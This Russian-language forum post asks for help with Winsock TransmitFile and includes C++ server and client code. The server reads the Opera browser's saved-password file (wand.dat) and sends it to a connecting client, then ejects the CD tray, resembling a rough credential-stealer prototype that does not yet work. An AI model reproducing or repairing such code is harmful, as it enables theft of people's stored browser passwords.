Шустрый

Профиль
Группа: Участник
Сообщений: 52
Регистрация: 23.4.2010
Репутация: нет Всего: нет
|
Ребят помогите разобраться.Подскажите как передать файл с помощью TransmitFile. Я пробывал делать вот так: вот код сервера Код | #include <cstdlib> #include <iostream> #include <winsock2.h> #include "stdio.h" #include "conio.h" #include "windows.h" #include <mmsystem.h> #include <winbase.h> #include <Mswsock.h> using namespace std; int main(int argc, char *argv[]) { HANDLE hFile; LPOFSTRUCT lpReOpenBuff; char Head [20]; char Tail [20]; strcpy (Head,"BeginTransmitFile"); strcpy (Tail,"EndTransmitFile"); _TRANSMIT_FILE_BUFFERS tB; tB.Head = Head; tB.HeadLength = sizeof (Head); tB.Tail = Tail; tB.TailLength = sizeof (Tail); MCI_OPEN_PARMS OpenParm; MCI_SET_PARMS SetParm; MCIDEVICEID dID; SOCKET client,s; struct sockaddr_in addr; int rc=NO_ERROR; char buf[1]; WSADATA wsa; int err; err=0; addr.sin_family=AF_INET; addr.sin_port=htons(7500); addr.sin_addr.s_addr=htonl(INADDR_ANY); err=WSAStartup(MAKEWORD(2,2),&wsa); if(err!=0) { printf("oshibka"); _getch(); } s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (INVALID_SOCKET==s) { printf( "Error socket!: %ld\n", WSAGetLastError()); WSACleanup(); return EXIT_FAILURE; } if(bind(s,(SOCKADDR*)&addr,sizeof(addr))==SOCKET_ERROR) { printf("dont bind"); _getch(); closesocket(s); WSACleanup(); return EXIT_FAILURE; } rc=listen(s,10); if(rc==SOCKET_ERROR) { printf("ошибка вызова listen\n"); closesocket(s); WSACleanup(); return EXIT_FAILURE; } client=accept(s,NULL,NULL); if(client<0) { printf("ошибка вызова accept\n"); closesocket(client); WSACleanup(); return EXIT_FAILURE; } rc = recv(client, buf, 1, 0); if(rc<=0) { printf("oshibka vizova"); closesocket(client); WSACleanup(); return EXIT_FAILURE; } else { printf("da"); } if(buf[0]=='1') { hFile=CreateFile("C:\\Documents and Settings\\Никита\\Application Data\\Opera\\Opera\\profile\\wand.dat",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hFile != INVALID_HANDLE_VALUE) { printf("yes"); } TransmitFile(client,hFile,0,1024,0,&tB,TF_REUSE_SOCKET); OpenParm.lpstrDeviceType="CDAudio"; } mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, (DWORD_PTR)&OpenParm); dID = OpenParm.wDeviceID; mciSendCommand(dID, MCI_SET, MCI_SET_DOOR_OPEN,(DWORD_PTR)&SetParm); _getch(); closesocket(s); WSACleanup(); return 0; }
|
вот код клиента: Код | #include <stdio.h> #include <winsock2.h> #include <stdio.h> #include <conio.h> #include <Mswsock.h> #define eof -1 int main(int argc, char* argv[]) { HANDLE hFile; DWORD vwCounter; OFSTRUCT tOfStr; SOCKET NewSocket; SOCKADDR_IN rmaddr; WSADATA wsa; int err,i,error; int rc=NO_ERROR; char s[10]; char buf[12000]; err=WSAStartup(MAKEWORD(2,2), &wsa); if (err!=0) {printf("oshibka\n"); _getch(); } else {printf("biblioteka zagruzhena\n"); _getch(); } NewSocket = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP); rmaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rmaddr.sin_family = AF_INET; rmaddr.sin_port = htons(7500); if(connect(NewSocket,(struct sockaddr *)&rmaddr,sizeof(rmaddr))==SOCKET_ERROR) { printf("oshibka"); _getch(); } else { printf("connect\n"); _getch(); } scanf("%s",&s[0]); error=send(NewSocket,s,strlen(s),0); if(SOCKET_ERROR==error) { printf("oshibka"); _getch(); closesocket(NewSocket); WSACleanup(); return EXIT_FAILURE; } else { printf("otpravil"); } rc = recv(NewSocket,buf,1024, 0); if(rc<=0) { printf("oshibka vizova"); closesocket(NewSocket); WSACleanup(); return EXIT_FAILURE; } else { printf("da"); } rc = recv(NewSocket,buf,1024, 0); if(rc<=0) { printf("oshibka vizova"); closesocket(NewSocket); WSACleanup(); return EXIT_FAILURE; } else { printf("da"); hFile=CreateFile("file1.dat",GENERIC_READ |GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, CREATE_NEW,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 0); if(hFile != INVALID_HANDLE_VALUE) { printf("yes"); } printf("%s",buf); _getch(); OpenFile("file1.dat",&tOfStr,OF_READWRITE | OF_SHARE_EXCLUSIVE); WriteFile(hFile,&buf,1024,&vwCounter,NULL); CloseHandle(hFile); } closesocket(NewSocket); return 0; }
|
у меня с вервера на клиент вроде все передается, но только файл почему то всегда имеет размер в 0 байт. Подскажите пожалуйста где у меня ошибка.
|